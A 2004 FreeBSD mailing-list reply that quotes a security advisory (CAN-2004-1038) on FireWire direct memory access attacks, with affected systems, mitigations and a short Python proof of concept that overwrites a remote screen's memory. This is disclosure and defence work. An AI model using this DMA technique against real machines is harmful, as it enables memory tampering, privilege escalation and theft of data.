Date: Tue, 16 Nov 2004 17:52:35 -0800 From: Julian Elischer <julian@elischer.org> To: Maximillian Dornseif <dornseif@informatik.rwth-aachen.de> Cc: freebsd-firewire@freebsd.org Subject: Re: FireWire Security issues Message-ID: <419AAEE3.9020900@elischer.org> In-Reply-To: <cndo0f$5bv$1@sea.gmane.org> References: <cndo0f$5bv$1@sea.gmane.org>
next in thread | previous in thread | raw e-mail | index | archive | help
Hi.! yes we've been aware of this problem for a year or so :-) I guess we need to get the filters done.. We do of course use firewire for remote kernel debugging with great success so we need to be able to turn it off sometimes :-) Maximillian Dornseif wrote: > Hello, > > looking into the issue described in the advisory below I wonder how to > tackle this issues. Primarily > I ask myself > > * is there any reason not to filter all physical memory access by default > * what would be the appropriate way to change the filter set? a sysctl? > > Regards > > Maximillian Dornseif > > > > FireWire/IEEE 1394 direct memory access - CAN-2004-1038 > > Advisory URL: http://pacsec.jp/advisories.html > > Subject: Potential system compromise by connected FireWire devices > CVE #: CAN-2004-1038 > Affected: So far all tested Operating Systems with FireWire support > > Summary: > -------- > > The FireWire/IEEE 1394 specification allows client devices to directly > access host > memory, bypassing operating system limitations. A malicious client device > can read and modify sensitive memory, causing privilege escalation, > information leakage and system compromise. Any system with sensitive > information or in an unsecured physical location, esp. public access > systems, should re-evaluate their system security and consider additional > physical security measures if they are equipped with "FireWire" ports. > These ports are also called "iLink" on some Sony models. > > > Overview: > --------- > > In the presentation, "0wned by an iPod" which Maximilian Dornseif from > Laboratory for Dependable Distributed Systems at RWTH Aachen University > held at the PacSec.jp/core04 conference in Tokyo on Nov 11/12, > several new techniques involving the IEEE 1394 interface commonly > found on laptops, desktops, and some servers were demonstrated. > > These techniques could be used in both malicious and beneficial > applications. > The beneficial applications are in the areas of system forensics and > external debugging. The malicious applications are that anyone with > physical access to the FireWire port could tamper with system operation > and compromise security without measures such as power cycling or > rebooting. > > Systems that counted on physical access limitation such as blocking > access > to reset and power switches and other measures to limit compromise though > such procedures as rebooting, need to re-examine their security. > > As usual, physical access to a computer usually implies the ability > for compromise - however, with this new technique, merely plugging > in a malicious FireWire client device with special software > could be enough to compromise a target. It becomes easier to > violate security if the combination of physical access and FireWire > interfaces are available. > > Security policies and procedures should be re-evaluated > and consider this new information where needed. > > > Details: > -------- > > Firewire/1394 host adapters which comply to the OHCI specification > allow remote devices to initiate direct DMA based memory access to the > host computers main memory. This access takes place completely without > involvement of the operating system on the host computer. While > OHCI supplies certain methods to allow the filtering of such direct > memory access requests, most operating systems do not use this filters > or do not provide a way for the user to set such filters. > > This access can be used to read arbitrary memory from a system connected > via FireWire and also to modify arbitrary memory contents. Applications > of this capability include capture of screen > contents, modification of screen contents, induced system crashes, > escalation of process privileges and disabling of password queries. > > A simple application demonstrating screen blanking would look like > this: > > #!/usr/bin/env python > > # Blank the medium third of a remote computer's screen via FireWire. > > # Demonstration for an presentation at PacSec 2004, see http://pacsec.jp/ > # http://md.hudora.de/presentations/#firewire-pacsec for further > # detail. > # --Maximillian Dornseif > > # Take care - this file uses hard coded addresses for just > # everything. You will at least have to change values in the addrs > # dictionary to suit your own equipment. > > import sys, time > import fw # import simple mapping of Apples FireWire API to > Python > # module available at http://c0re.23.nu/c0de/pyfw/ > > # this structure encodes FireWire GUID, start of the actual screen memory > # resolution and bits per pixel > # example values for a Dell Latitude X 200 running FreeBSD 5.3 > addrs = { 0x00065b80030f21aeL: (0xe8000000L, 1024, 768, 4), } > > # enumerate devices on the FireWire bus and iterate over them > for device in fw.scanbus(): > print "Found device %r" % (device.guid) > if device.guid not in addrs: > print "don't now where to look on that machine, add it in the > sourcecode" > continue > else: > base, xres, yres, bpp = addrs[device.guid] > > # we just delete the medium third of the screen for > demonstration purposes > pos = base + (xres*bpp*(yres/3)) > # iterate over screen lines and overwrite them with \0 > while pos < base + (xres*bpp*(yres/3)*2): > print "\r-> clearing %08x ..." % (pos), > device.write(pos, "\0"*(xres*bpp)), > sys.stdout.flush() > pos += xres*bpp > print done > > > > Systems Affected: > ----------------- > > We have tested this issue on FreeBSD 5.3 and 5.2.1, MacOS 10.3.5 and > 10.3.4 and Knoppix 3.6. All of them allowed memory access and had no > obvious way to disable this functionality. We observed that Windows > 2000 Professional crashed whenever an Apple Macintosh Computer running > MacOS X was connected. Other operating systems where not tested. > > Any operating system and any hardware with FireWire interfaces should > be considered vulnerable as long as statement from the vendor on OHCI > filters or similar means of access control are available. Even if the > operating system in question does not support the interface, compromise > may still be possible if the hardware is powered. > > > Fix: > ---- > > On some systems that require untrusted/unauthenticated physical > access by strangers and still require restricted operations, removal > of wire headers connecting external case FireWire jacks may provide > some limited remigration. > > On laptops epoxy may be used to permanently disable the external jack > if such loss of functionality can be tolerated. > > The primary precaution is that employees should be warned that they > should not plug unknown/untrusted FireWire devices into computers > containing sensitive information. > > Operating system vendors should supply users with a way to control > OHCI filters. Default configurations should deny all memory access via > FireWire. > > > Credits: > -------- > > * Firestarter by Quinn "The Eskimo!" for demonstrating the potential > of FireWire to us - http://www.quinn.echidna.id.au/Quinn/WWW/Hacks.html > * Hidetoshi Shimokawa for his FreeBSD FireWire Driver and his > revealing post "FireWire for kernel hackers" - > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=597886+0+archive/2002/freebsd-hackers/20020414.freebsd-hackers > > * > * Kerneltrap for pointing us to FreeBSD FireWire drivers > - http://kerneltrap.org/node/view/145 > > > Contact: > -------- > > Maximillian Dornseif > Laboratory for Dependable Distributed Systems > RWTH Aachen University, Germany > email: dornseif@informatik.rwth-aachen.de > Phone: +49-241-80-21431 > Web: http://md.hudora.de/ > > History: > -------- > > - 2004-10-26 initial disclosure > - 2004-11-15 updated to contain executive sumary, more details, > example code, history and credits section > - 2004-11-16 CAN-2004-1038 has been assigned to this issue > > > _______________________________________________ > freebsd-security@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-security > To unsubscribe, send any mail to > "freebsd-security-unsubscribe@freebsd.org"
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?419AAEE3.9020900>